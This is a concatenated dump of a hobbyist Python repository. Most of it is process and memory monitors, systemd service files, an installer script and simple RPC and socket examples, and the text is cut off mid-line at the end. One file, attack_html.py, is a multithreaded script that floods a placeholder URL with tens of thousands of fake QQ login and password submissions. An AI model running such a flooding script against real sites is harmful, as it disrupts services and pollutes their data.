else: 33 | load_dict["Memory_max"] = str 34 | print("修改成功!") 35 | print("返回上一步.........") 36 | elif str == "3": 37 | str = input("输入修改的数值: ") 38 | if int(str) > 100 or int(str) < 0: 39 | print("输入值不合法!检查你的输入是否大于100或者小于0!") 40 | print("返回上一步.........") 41 | else: 42 | load_dict["time"] = str 43 | print("修改成功!") 44 | print("返回上一步.........") 45 | elif str == "4": 46 | break 47 | else: 48 | print("错误的输入") 49 | a = load_dict 50 | 51 | with open("./Monitor/setting.json", "wb") as f: 52 | data = json.dump(a, f) 53 | 54 | 55 | -------------------------------------------------------------------------------- /Monitoring/Monitor/operation/__init__.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | __author__ = 'lau.wenbo' -------------------------------------------------------------------------------- /Monitoring/Monitor/operation/get_cpu_top.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | __author__ = 'lau.wenbo' 3 | 4 | 5 | import sys 6 | sys.path.append("..") 7 | from Monitor import Monitor_process 8 | import run 9 | import time 10 | 11 | 12 | def get_cpu(): 13 | print "请选择监控模式......." 14 | str = raw_input("1: 定时监控\n" 15 | "2: 自定义监控\n" 16 | "输入相对应的数字: ") 17 | while True: 18 | if str == "1": 19 | strs = raw_input("您想要多久检查一次CPU占用前十的进程?输入数字,单位:秒") 20 | try: 21 | if int(strs) > 0: 22 | print "开始监控,请关注日志信息.........." 23 | run.run_timing(Monitor_process.run_get_cpu, int(strs)) 24 | break 25 | else: 26 | print "输入的不是合法数字!返回上一步!" 27 | time.sleep(0.5) 28 | pass 29 | except: 30 | print "输入的不是合法数字! 返回上一步!" 31 | time.sleep(0.5) 32 | pass 33 | elif str == "2": 34 | strs = raw_input("您想要多久检查一次CPU占用前十的进程?输入数字,单位:秒") 35 | try: 36 | if int(strs) > 0: 37 | strk = raw_input("您想要检查几次?输入次数: ") 38 | try: 39 | if int(strk) > 0: 40 | print "开始监控,请关注日志信息.........." 41 | run.run_free(Monitor_process.run_get_cpu, int(strk), int(strs)) 42 | sys.exit() 43 | else: 44 | pass 45 | except: 46 | break 47 | else: 48 | print "输入的不是合法数字!返回上一步!" 49 | time.sleep(0.5) 50 | pass 51 | except: 52 | print "输入的不是合法数字! 返回上一步!" 53 | time.sleep(0.5) 54 | pass 55 | 56 | -------------------------------------------------------------------------------- /Monitoring/Monitor/operation/get_memory_top.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | __author__ = 'lau.wenbo' 3 | 4 | 5 | import sys 6 | sys.path.append("..") 7 | from Monitor import Monitor_process 8 | import run 9 | import time 10 | 11 | 12 | def get_memory(): 13 | print "请选择监控模式......." 14 | str = raw_input("1: 定时监控\n" 15 | "2: 自定义监控\n" 16 | "输入相对应的数字: ") 17 | while True: 18 | if str == "1": 19 | strs = raw_input("您想要多久检查一次Memory占用前十的进程?输入数字,单位:秒") 20 | try: 21 | if int(strs) > 0: 22 | print "开始监控,请关注日志信息.........." 23 | run.run_timing(Monitor_process.run_get_memory, int(strs)) 24 | break 25 | else: 26 | print "输入的不是合法数字!返回上一步!" 27 | time.sleep(0.5) 28 | pass 29 | except: 30 | print "输入的不是合法数字! 返回上一步!" 31 | time.sleep(0.5) 32 | pass 33 | elif str == "2": 34 | strs = raw_input("您想要多久检查一次memory占用前十的进程?输入数字,单位:秒") 35 | try: 36 | if int(strs) > 0: 37 | strk = raw_input("您想要检查几次?输入次数: ") 38 | try: 39 | if int(strk) > 0: 40 | print "开始监控,请关注日志信息.........." 41 | run.run_free(Monitor_process.run_get_memory, int(strk), int(strs)) 42 | sys.exit() 43 | else: 44 | pass 45 | except: 46 | break 47 | else: 48 | print "输入的不是合法数字!返回上一步!" 49 | time.sleep(0.5) 50 | pass 51 | except: 52 | print "输入的不是合法数字! 返回上一步!" 53 | time.sleep(0.5) 54 | pass -------------------------------------------------------------------------------- /Monitoring/Monitor/operation/get_setting_monitor.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Alexanderklau/Amusing_python/9ce288eac7eeabb0e21f62936b6eb5ac2a0c934e/Monitoring/Monitor/operation/get_setting_monitor.py -------------------------------------------------------------------------------- /Monitoring/Monitor/operation/run.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | __author__ = 'lau.wenbo' 3 | 4 | import time 5 | 6 | def run_timing(func, check_time): 7 | while True: 8 | try: 9 | # 睡眠 10 | time_remaining = check_time - time.time() % check_time 11 | func() 12 | time.sleep(time_remaining) 13 | except Exception, e: 14 | print e 15 | 16 | 17 | def run_free(func, number, check_time): 18 | for i in range(number+1): 19 | time_remaining = check_time - time.time() % check_time 20 | func() 21 | time.sleep(time_remaining) 22 | 23 | 24 | 25 | 26 | 27 | -------------------------------------------------------------------------------- /Monitoring/Monitor_systemd/Monitor_install.sh: -------------------------------------------------------------------------------- 1 | tar xvf ./Monitoring.tar.gz -C /opt 2 | cd /opt/Monitoring 3 | rpm -ivh /package/python2-psutil-5.4.3-4.fc28.x86_64.rpm 4 | rpm -ivh /package/python-prettytable-0.7.2-11.fc27.noarch.rpm 5 | ln -s /setting/setting.json /opt/setting.json 6 | cp /service/custom.service /etc/systemd/system/ 7 | cp /service/details.service /etc/systemd/system/ 8 | cp /service/process_msg.service /etc/systemd/system/ 9 | mkdir /var/log/infinity 10 | mkdir /var/log/infinity/custom 11 | mkdir /var/log/infinity/detail 12 | mkdir /var/log/infinity/process 13 | echo "alias customstart=\'systemctl start custom.service\'" >> /etc/bash.bashrc 14 | echo "alias customstop=\'systemctl start custom.service\'" >> /etc/bash.bashrc 15 | echo "alias detailstart=\'systemctl start detail.service\'" >> /etc/bash.bashrc 16 | echo "alias detailstop=\'systemctl start detail.service\'" >> /etc/bash.bashrc 17 | echo "alias processstart=\'systemctl start process_msg.service\'" >> /etc/bash.bashrc 18 | echo "alias processstop=\'systemctl start process_msg.service\'" >> /etc/bash.bashrc 19 | customstart -------------------------------------------------------------------------------- /Monitoring/Monitor_systemd/details/__init__.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | __author__ = 'lau.wenbo' -------------------------------------------------------------------------------- /Monitoring/Monitor_systemd/package/python-prettytable-0.7.2-11.fc27.noarch.rpm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Alexanderklau/Amusing_python/9ce288eac7eeabb0e21f62936b6eb5ac2a0c934e/Monitoring/Monitor_systemd/package/python-prettytable-0.7.2-11.fc27.noarch.rpm -------------------------------------------------------------------------------- /Monitoring/Monitor_systemd/package/python2-psutil-5.4.3-4.fc28.x86_64.rpm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Alexanderklau/Amusing_python/9ce288eac7eeabb0e21f62936b6eb5ac2a0c934e/Monitoring/Monitor_systemd/package/python2-psutil-5.4.3-4.fc28.x86_64.rpm -------------------------------------------------------------------------------- /Monitoring/Monitor_systemd/process_msg/123.tmp: -------------------------------------------------------------------------------- 1 | 10768 lau 20 0 6856088 811600 46600 S 0.0 10.1 6:51.36 java 2 | -------------------------------------------------------------------------------- /Monitoring/Monitor_systemd/process_msg/__init__.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | __author__ = 'lau.wenbo' -------------------------------------------------------------------------------- /Monitoring/Monitor_systemd/process_msg/log.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | __author__ = 'lau.wenbo' 3 | 4 | 5 | import logging 6 | from logging.handlers import TimedRotatingFileHandler 7 | import time 8 | import re 9 | 10 | 11 | rq = time.strftime('%Y%m%d', time.localtime(time.time())) 12 | 13 | 14 | class Log(object): 15 | '''日志类 ''' 16 | def __init__(self, name): 17 | self.path = "/var/log/infinity/process/" # 定义日志存放路径 18 | self.filename = self.path + rq + "_process_memory" + ".log" # 日志文件名称 19 | self.name = name # 为%(name)s赋值 20 | self.logger = logging.getLogger(self.name) 21 | # 控制日志文件中记录级别 22 | self.logger.setLevel(logging.INFO) 23 | # 控制输出到控制台日志格式、级别 24 | # self.ch = logging.StreamHandler() 25 | # 日志保留7天,一天保存一个文件 26 | self.fh = TimedRotatingFileHandler(self.filename, when='D', interval=1, backupCount=7) 27 | # 删除设置 28 | self.fh.suffix = '%Y-%m-%d_%H-%M.log' 29 | self.fh.extMatch = re.compile(r"^\d{4}-\d{2}-\d{2}_\d{2}-\d{2}.log$") 30 | # 定义日志文件中格式 31 | self.formatter = logging.Formatter('%(asctime)s - %(levelname)s - %(name)s[line:%(lineno)d] - %(message)s') 32 | self.fh.setFormatter(self.formatter) 33 | self.logger.addHandler(self.fh) 34 | 35 | def info(self, msg): 36 | self.logger.info(msg) 37 | 38 | def warning(self, msg): 39 | self.logger.warning(msg) 40 | 41 | def error(self, msg): 42 | self.logger.error(msg) 43 | 44 | def debug(self, msg): 45 | self.logger.debug(msg) 46 | 47 | def close(self): 48 | self.logger.removeHandler(self.fh) 49 | 50 | class customError(Exception): 51 | def __init__(self, msg=None): 52 | self.msg = msg 53 | def __str__(self): 54 | if self.msg: 55 | return self.msg 56 | else: 57 | return "某个不符合条件的语法出问题了" 58 | -------------------------------------------------------------------------------- /Monitoring/Monitor_systemd/service/custom.service: -------------------------------------------------------------------------------- 1 | [Unit] 2 | Description=details daemon 3 | After=rc-local.service 4 | 5 | [Service] 6 | Type=simple 7 | User=root 8 | Group=root 9 | WorkingDirectory=/opt 10 | ExecStart=python /Monitor_systemd/custom/custom.py 11 | Restart=always 12 | 13 | [Install] 14 | WantedBy=multi-user.target 15 | -------------------------------------------------------------------------------- /Monitoring/Monitor_systemd/service/details.service: -------------------------------------------------------------------------------- 1 | [Unit] 2 | Description=details daemon 3 | After=rc-local.service 4 | 5 | [Service] 6 | Type=simple 7 | User=root 8 | Group=root 9 | WorkingDirectory=/opt 10 | ExecStart=python /Monitor_systemd/details/acquisition.py 11 | Restart=always 12 | 13 | [Install] 14 | WantedBy=multi-user.target 15 | -------------------------------------------------------------------------------- /Monitoring/Monitor_systemd/service/process_msg.service: -------------------------------------------------------------------------------- 1 | [Unit] 2 | Description=details daemon 3 | After=rc-local.service 4 | 5 | [Service] 6 | Type=simple 7 | User=root 8 | Group=root 9 | WorkingDirectory=/opt 10 | ExecStart=python /Monitor_systemd/process_msg/process_msg.py 11 | Restart=always 12 | 13 | [Install] 14 | WantedBy=multi-user.target 15 | -------------------------------------------------------------------------------- /Monitoring/Monitor_systemd/setting/setting.json: -------------------------------------------------------------------------------- 1 | {"CPU_max": 20, "Memory_max": 0, "time": 30, "process": "java", "process_time": 30} 2 | -------------------------------------------------------------------------------- /Monitoring/Monitor_systemd/使用手册: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Alexanderklau/Amusing_python/9ce288eac7eeabb0e21f62936b6eb5ac2a0c934e/Monitoring/Monitor_systemd/使用手册 -------------------------------------------------------------------------------- /Monitoring/Monitor_systemd/说明: -------------------------------------------------------------------------------- 1 | 使用手册 2 | 系统功能:实时,或者自定义监控进程 3 | 如何使用: 4 | 执行.sh文件去安装,安装完毕后,会有三个命令和一个配置文件生成,执行相应的命令,可以监控对应的服务。 5 | 命令说明: 6 | 7 | 8 | "customstart" : 开始自定义监控任务。开启后会主动去找setting.json这个文件,这个文件在/opt下,用例如下: 9 | {"CPU_max": 20, "Memory_max": 20, "time": 30, "process": "java"} 10 | 解释:开始监控内存大于等于20,CPU大于等于20的程序,每隔30s刷新一次,写入/var/log/custom文件夹下的log中。process在这里无用。 11 | 如果需要修改配置,直接修改json文件就可以,修改过后自动生效 12 | 13 | "customstop" : 停止监控,退出程序 14 | 15 | 16 | "detailstart" : 默认去监控CPU,内存占比前十的进程,输入到日志中,每60s刷新一次。写入/var/log/detail下的log中 17 | 18 | "detailstop" : 终止监控 19 | 20 | 21 | "processstart" : 监控指定进程,用例: 22 | {"CPU_max": 20, "Memory_max": 20, "time": 30, "process": "java"} 23 | 解释:process是指定的进程,输入进程名java,监控进程java,每30s刷新一次,写入/var/log/process文件夹下的log中 24 | CPU和Memory在这里无用。 25 | 26 | "processstop" : 终止监控 -------------------------------------------------------------------------------- /Monitoring/Monitor_test/CPU_memeory.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | __author__ = 'lau.wenbo' 3 | 4 | 5 | import psutil 6 | 7 | 8 | p1 = psutil.Process(9042) 9 | 10 | # 打印本机的内存信息 11 | print ('直接打印内存占用: {0}'.format((str)(psutil.virtual_memory))) 12 | # 打印内存的占用率 13 | print ('获取内存占用率: {0}%'.format((str)(psutil.virtual_memory().percent))) 14 | # 本机cpu的总占用率 15 | print ("打印本机cpu占用率: {0}%".format((str)(psutil.cpu_percent(0)))) 16 | # 该进程所占cpu的使用率 17 | print ("打印该进程CPU占用率: {0}%".format((str)(p1.cpu_percent(interval=1)))) 18 | # 直接打印进程所占内存占用率 19 | print (p1.memory_percent) 20 | # 格式化后显示的进程内存占用率 21 | print "进程内存占用率: {:.2f}%".format(p1.memory_percent()) 22 | 23 | -------------------------------------------------------------------------------- /Monitoring/Monitor_test/__init__.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | __author__ = 'lau.wenbo' -------------------------------------------------------------------------------- /Monitoring/Monitor_test/disk_memory.py: -------------------------------------------------------------------------------- 1 | #coding: utf-8 2 | __author__ = 'lau.wenbo' 3 | 4 | import psutil 5 | 6 | #磁盘使用率 7 | disk = psutil.disk_partitions() 8 | for i in disk: 9 | print "磁盘:%s 分区格式:%s"%(i.device,i.fstype) 10 | disk_use = psutil.disk_usage(i.device) 11 | print "使用了:%sM,空闲:%sM,总共:%sM,使用率\033[1;31;42m%s%%\033[0m,"\ 12 | %(disk_use.used/1024/1024,disk_use.free/1024/1024, 13 | disk_use.total/1024/1024,disk_use.percent) -------------------------------------------------------------------------------- /Monitoring/Monitor_test/example.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | __author__ = 'lau.wenbo' 3 | 4 | #coding=utf-8 5 | import psutil 6 | import sys 7 | import time 8 | def get_cpu_info(PID): 9 | cpucount = psutil.cpu_count(logical=True) 10 | #传入进程PID,实现监测功能 11 | process = psutil.Process(int(PID)) 12 | cpupercent = process.cpu_percent(interval=0.01) 13 | #得到进程CPU占用,同资源检测管理器的数据 14 | cpu = int(cpupercent / cpucount) 15 | print(cpu) 16 | 17 | get_cpu_info(19720) -------------------------------------------------------------------------------- /Monitoring/Monitor_test/network_memory.py: -------------------------------------------------------------------------------- 1 | #coding: utf-8 2 | __author__ = 'lau.wenbo' 3 | 4 | import time 5 | import psutil 6 | 7 | def cpu(): 8 | while True: 9 | time.sleep(1) 10 | cpu_liyonglv = psutil.cpu_percent() 11 | print "当前cpu利用率:\033[1;31;42m%s%%\033[0m"%cpu_liyonglv 12 | # if cpu_liyonglv >15.0: 13 | # baojing() 14 | # def baojing(): 15 | # i = 0 16 | # while i < 10 : 17 | # i += 1 18 | # time.sleep(0.5) 19 | # winsound.PlaySound("ALARM8",winsound.SND_ALIAS) 20 | cpu() -------------------------------------------------------------------------------- /Monitoring/Monitor_test/network_use.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | __author__ = 'lau.wenbo' 3 | 4 | import psutil 5 | import time 6 | 7 | count = psutil.net_io_counters() 8 | print "发送字节数:\033[1;31;42m%s\033[0mbytes,接收字节数:\033[1;31;42m%s\033[0mbytes,发送包数:%s,接收包数%s" \ 9 | % (count.bytes_sent, count.bytes_recv, count.packets_sent, count.packets_recv) 10 | 11 | users = psutil.users() 12 | print "当前登录用户:", users[0].name 13 | # 时间 14 | curent_time = psutil.boot_time() 15 | 16 | curent_time_1 = time.strftime("%Y-%m-%d %H:%M:%S", time.localtime(curent_time)) 17 | print curent_time_1 18 | -------------------------------------------------------------------------------- /Monitoring/Monitor_test/obtain_process.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | __author__ = 'lau.wenbo' 3 | 4 | 5 | # 进程检测程序 6 | import psutil 7 | import types 8 | import datetime 9 | 10 | # 获取用户输入的PID 11 | def get_pid(): 12 | pid = psutil.pids() 13 | return pid 14 | 15 | def message(): 16 | for i in get_pid(): 17 | p = psutil.Process(i) 18 | print('Pid : %s' %i) 19 | print('进程名 : %s' % p.name()) 20 | print('进程状态 : %s' % p.status()) 21 | print('CPU占用率 : %s%%' % p.cpu_percent(interval=1)) 22 | print('内存使用情况 : %s%%' % p.memory_percent()) 23 | print('进程的线程数 : %s' % p.num_threads()) 24 | 25 | message() -------------------------------------------------------------------------------- /Monitoring/Monitor_test/process_cpu.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | __author__ = 'lau.wenbo' 3 | 4 | import psutil 5 | 6 | p = psutil.Process() 7 | pro_info = p.as_dict(attrs=['pid', 'name', 'username']) 8 | print psutil.cpu_count() -------------------------------------------------------------------------------- /Monitoring/Monitor_test/process_memory.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | __author__ = 'lau.wenbo' 3 | 4 | # 打印出所有进程 5 | 6 | 7 | import psutil 8 | 9 | pid = psutil.pids() 10 | print(pid) 11 | for k, i in enumerate(pid): 12 | try: 13 | proc = psutil.Process(i) 14 | print k,i,"%.2f%%" % (proc.memory_percent()), "%", proc.name(), proc.exe() 15 | 16 | except psutil.AccessDenied: 17 | print "psutil.AccessDenied" 18 | -------------------------------------------------------------------------------- /Monitoring/Monitor_test/service_memmory.py: -------------------------------------------------------------------------------- 1 | #coding: utf-8 2 | __author__ = 'lau.wenbo' 3 | 4 | import psutil 5 | 6 | 7 | memory = psutil.virtual_memory() 8 | print memory.used 9 | print memory.total 10 | ab = float(memory.used)/float(memory.total)*100 11 | print "%.2f%%" % ab 12 | print psutil.swap_memory() -------------------------------------------------------------------------------- /Monitoring/Monitoring_system/__init__.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | __author__ = 'lau.wenbo' -------------------------------------------------------------------------------- /Monitoring/Monitoring_system/check_process.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | __author__ = 'lau.wenbo' 3 | 4 | 5 | import psutil 6 | import prettytable 7 | 8 | 9 | def check_memory(): 10 | ps_result = list() 11 | for proc in psutil.process_iter(): 12 | ps_result.append({'name': proc.name(), 'pid': proc.pid,'memory_percent': proc.memory_percent()}) 13 | print(ps_result) 14 | table = prettytable.PrettyTable() 15 | table.field_names = ["No.", "Name", "Pid", "Memory percent"] 16 | for i, item in enumerate(sorted(ps_result, key=lambda x: x['memory_percent'], reverse=True)): 17 | table.add_row([i + 1, item['name'], item['pid'], format(item['memory_percent'] / 100, '.2%')]) 18 | if i >= 9: 19 | break 20 | return table -------------------------------------------------------------------------------- /Monitoring/Monitoring_system/moitoring_log.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | __author__ = 'lau.wenbo' 3 | 4 | 5 | -------------------------------------------------------------------------------- /Monitoring/Monitoring_system/monitoring_threading.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | __author__ = 'lau.wenbo' 3 | 4 | # !/usr/bin/env python 5 | 6 | import sys 7 | import getopt 8 | 9 | 10 | 11 | # options,args = getopt.getopt(sys.argv[1:],"hc:m:s:",["help","cpu=","memory=","start="]) 12 | # values = [] 13 | # for name, value in options: 14 | # if name in ("-h", "--help"): 15 | # print "=" * 100 16 | # print "检测CPU,内存占用" 17 | # print "-c, --cpu 参数" 18 | # print "-m, --memeory 参数" 19 | # elif name in ("-c","--cpu"): 20 | # print 'ip is----',value 21 | # values.append(value) 22 | # elif name in ("-m","--memory"): 23 | # print 'port is----',value 24 | # values.append(value) 25 | # elif name in ("-s", "--start"): 26 | # print 'start is----', value 27 | 28 | # a = commands.getoutput("ps aux > check.tmp") -------------------------------------------------------------------------------- /Monitoring/Monitoring_system/process_getput.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | __author__ = 'lau.wenbo' 3 | 4 | 5 | import argparse 6 | 7 | 8 | parser = argparse.ArgumentParser(description='manual to this script') 9 | parser.add_argument('--gpus', type=str, default = None) 10 | parser.add_argument('--batch-size', type=int, default=32) 11 | args = parser.parse_args() 12 | print args.gpus 13 | print args.batch_size 14 | -------------------------------------------------------------------------------- /Monitoring/Monitoring_system/process_getput2.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | __author__ = 'lau.wenbo' 3 | 4 | 5 | import sys 6 | 7 | 8 | for arg in sys.argv: 9 | print(arg) 10 | -------------------------------------------------------------------------------- /Monitoring/monitor_to/sysinfo.log: -------------------------------------------------------------------------------- 1 | cpu:Intel(R) Core(TM) i7-3632QM CPU @ 2.20GHzcpu:Intel(R) Core(TM) i7-3632QM CPU @ 2.20GHzcpu:Intel(R) Core(TM) i7-3632QM CPU @ 2.20GHzcpu:Intel(R) Core(TM) i7-3632QM CPU @ 2.20GHzcpu:Intel(R) Core(TM) i7-3632QM CPU @ 2.20GHzcpu:Intel(R) Core(TM) i7-3632QM CPU @ 2.20GHzcpu:Intel(R) Core(TM) i7-3632QM CPU @ 2.20GHzcpu:Intel(R) Core(TM) i7-3632QM CPU @ 2.20GHz 2 | cpu:11.61% -------mem: 241824 kB------mongocpu:VIRT 3 | cpu:10.11% -------mem: 203692 kB------mongocpu:VIRT 4 | cpu:9.24% -------mem: 183944 kB------mongocpu:VIRT 5 | cpu:9.49% -------mem: 177128 kB------mongocpu:VIRT 6 | cpu:9.14% -------mem: 193208 kB------mongocpu:VIRT 7 | cpu:8.39% -------mem: 317424 kB------mongocpu:VIRT 8 | cpu:7.85% -------mem: 318928 kB------mongocpu:VIRT 9 | cpu:7.54% -------mem: 318408 kB------mongocpu:VIRT 10 | cpu:7.53% -------mem: 318080 kB------mongocpu:VIRT 11 | cpu:7.23% -------mem: 318060 kB------mongocpu:VIRT 12 | cpu:7.02% -------mem: 318924 kB------mongocpu:VIRT 13 | cpu:6.86% -------mem: 318260 kB------mongocpu:VIRT 14 | cpu:6.73% -------mem: 318088 kB------mongocpu:VIRT 15 | cpu:6.75% -------mem: 313812 kB------mongocpu:VIRT 16 | cpu:6.66% -------mem: 314404 kB------mongocpu:VIRT 17 | cpu:6.69% -------mem: 314388 kB------mongocpu:VIRT 18 | cpu:6.56% -------mem: 314592 kB------mongocpu:VIRT 19 | cpu:6.43% -------mem: 314984 kB------mongocpu:VIRT 20 | cpu:6.40% -------mem: 315892 kB------mongocpu:VIRT 21 | cpu:6.42% -------mem: 316480 kB------mongocpu:VIRT 22 | cpu:6.30% -------mem: 316400 kB------mongocpu:VIRT 23 | cpu:6.18% -------mem: 319248 kB------mongocpu:VIRT 24 | cpu:6.17% -------mem: 322812 kB------mongocpu:VIRT 25 | cpu:6.11% -------mem: 320788 kB------mongocpu:VIRT 26 | cpu:6.03% -------mem: 320504 kB------mongocpu:VIRT 27 | cpu:5.94% -------mem: 323108 kB------mongocpu:VIRT 28 | cpu:5.86% -------mem: 323060 kB------mongocpu:VIRT -------------------------------------------------------------------------------- /Network/RPC_Server/Rabbitmq_rpc/server.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | 3 | __author__ = "lau.wenbo" 4 | 5 | import pika 6 | 7 | # 建立连接,服务器地址为localhost,可指定ip地址 8 | connection = pika.BlockingConnection(pika.ConnectionParameters( 9 | host='127.0.0.1')) 10 | 11 | # 建立会话 12 | channel = connection.channel() 13 | 14 | # 声明RPC请求队列 15 | channel.queue_declare(queue='rpc_queue') 16 | 17 | 18 | # 数据处理方法 19 | def fib(n): 20 | if n == 0: 21 | return 0 22 | elif n == 1: 23 | return 1 24 | else: 25 | return fib(n - 1) + fib(n - 2) 26 | 27 | 28 | # 对RPC请求队列中的请求进行处理 29 | def on_request(ch, method, props, body): 30 | n = int(body) 31 | 32 | print(" [.] fib(%s)" % n) 33 | 34 | # 调用数据处理方法 35 | response = fib(n) 36 | 37 | # 将处理结果(响应)发送到回调队列 38 | ch.basic_publish(exchange='', 39 | routing_key=props.reply_to, 40 | properties=pika.BasicProperties(correlation_id= \ 41 | props.correlation_id), 42 | body=str(response)) 43 | ch.basic_ack(delivery_tag=method.delivery_tag) 44 | 45 | 46 | # 负载均衡,同一时刻发送给该服务器的请求不超过一个 47 | channel.basic_qos(prefetch_count=1) 48 | 49 | -------------------------------------------------------------------------------- /Network/RPC_Server/Simplexmlrpc/client.py: -------------------------------------------------------------------------------- 1 | 2 | # coding: utf-8 3 | 4 | __author__ = "lau.wenbo" 5 | 6 | 7 | from xmlrpclib import ServerProxy 8 | if __name__ == '__main__': 9 | s = ServerProxy("http://127.0.0.1:3344") 10 | print s.get_string("hello") -------------------------------------------------------------------------------- /Network/RPC_Server/Simplexmlrpc/server.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | 3 | __author__ = "lau.wenbo" 4 | 5 | 6 | from SimpleXMLRPCServer import SimpleXMLRPCServer 7 | 8 | def respon_string(str): 9 | return "get string :%s"%str 10 | 11 | if __name__ == '__main__': 12 | s = SimpleXMLRPCServer(('0.0.0.0', 3344)) 13 | s.register_function(respon_string,"get_string") 14 | s.serve_forever() -------------------------------------------------------------------------------- /Network/connect2.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | __author__ = 'lau.wenbo' 3 | 4 | """ 5 | 寻找端口号 6 | """ 7 | 8 | import socket 9 | 10 | print "Creating " -------------------------------------------------------------------------------- /Network/connection-example.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | __author__ = 'lau.wenbo' 3 | 4 | 5 | import socket 6 | 7 | print "Creating socket......" 8 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 9 | print "done......" 10 | 11 | print "Connecting to remote host...." 12 | s.connect(("www.baidu.com", 80)) 13 | print("done....") -------------------------------------------------------------------------------- /Network/imglist.txt: -------------------------------------------------------------------------------- 1 | /home/lau/datrixb.sql 2 | /home/lau/.mysql_history 3 | /home/lau/.php_historyb 4 | /home/lau/.wget-hstsb 5 | /home/lau/.bashrcb 6 | /home/lau/.gitconfigb 7 | /home/lau/.mycli-history 8 | /home/lau/java_error_in_PYCHARM.hprof 9 | -------------------------------------------------------------------------------- /Network/network_test.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | __author__ = 'lau.wenbo' 3 | 4 | 5 | import sys, socket 6 | 7 | host = '' 8 | port = 51423 9 | 10 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 11 | s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 12 | s.bind((host, port)) 13 | s.listen(1) 14 | 15 | print("Server is running on port {}; press Ctrl-C to terminator".format(port)) 16 | 17 | while 1: 18 | clientsock, clientaddr = s.accept() 19 | clientfile = clientsock.makefile("rw", 0) 20 | clientfile.write("Welcome, " + str(clientaddr) + "\n") 21 | clientfile.write("Please enter a string: ") 22 | line = clientfile.readline().strip() 23 | clientfile.write("You entered {} characters.\n".format(len(line))) 24 | clientfile.close() 25 | clientsock.close() 26 | 27 | 28 | -------------------------------------------------------------------------------- /Network/tk.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | __author__ = 'lau.wenbo' 3 | 4 | import socket, sys 5 | 6 | port = 233 7 | host = "127.0.0.1" 8 | filename = sys.argv[1] 9 | 10 | 11 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 12 | s.connect((host, port)) 13 | 14 | s.sendall(filename + "\r\n") 15 | 16 | while 1: 17 | buf = s.recv(2048) 18 | if not len(buf): 19 | break 20 | sys.stdout.write(buf) -------------------------------------------------------------------------------- /Network_security/Attack/attack_html.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | __author__ = 'lau.wenbo' 3 | 4 | import requests 5 | import random, string, time, _thread 6 | import json 7 | 8 | 9 | def doSomething(threadName, times): 10 | print(threadName, "\t", "第{0}次".format(times), "开始") 11 | qqnumber = random.randrange(12345678, 999999999) 12 | qqpasslen = random.randrange(8, 14) 13 | t = random.sample('ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890abcdefghijklmnopqrstuvwxyz.', qqpasslen) 14 | qqpass = ''.join(t) 15 | data = { 16 | "name": '{0}'.format(qqnumber), 17 | "pass": qqpass, 18 | "code": "emil", 19 | "uid": 111, 20 | "tempId": 143 21 | } 22 | header = { 23 | "Accept": "application/json, text/javascript, */*; q=0.01", 24 | "Accept-Encoding": "gzip, deflate", 25 | "Proxy-Connection": "keep-alive", 26 | "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", 27 | "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36", 28 | "X-Requested-With": "XMLHttpRequest", 29 | 30 | } 31 | r = requests.post("url", data=data, headers=header) 32 | text1 = r.text 33 | r_data = json.loads(r.text) 34 | if r_data["Status"] == "ERROR": 35 | time.sleep(random.randrange(4, 10)) 36 | r = requests.post("url", data=data, headers=header) 37 | text2 = r.text 38 | print(threadName, "\t", "第{0}次".format(times), "\t", data, "\t", text1, "\t", text2) 39 | else: 40 | print(threadName, "\t", "第{0}次".format(times), "\t", data, "\t", text1) 41 | 42 | 43 | def do100times(threadName): 44 | for i in range(0, 10000): 45 | doSomething(threadName, i) 46 | 47 | 48 | for i in range(0, 10): 49 | try: 50 | _thread.start_new_thread(do100times, ("线程:{0}".format(i),)) 51 | except: 52 | print("创建线程失败") 53 | 54 | while 1: 55 | pass -------------------------------------------------------------------------------- /Network_security/Ip_detection/FInd_ip.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | __author__ = 'Yemilice_lau' 3 | 4 | import platform 5 | import sys 6 | import os 7 | import time 8 | import thread 9 | 10 | 11 | def get_os(): 12 | ''''' 13 | get os 类型 14 | ''' 15 | os = platform.system() 16 | if os == "Windows": 17 | return "n" 18 | else: 19 | return "c" 20 | 21 | 22 | def ping_ip(ip_str): 23 | cmd = ["ping", 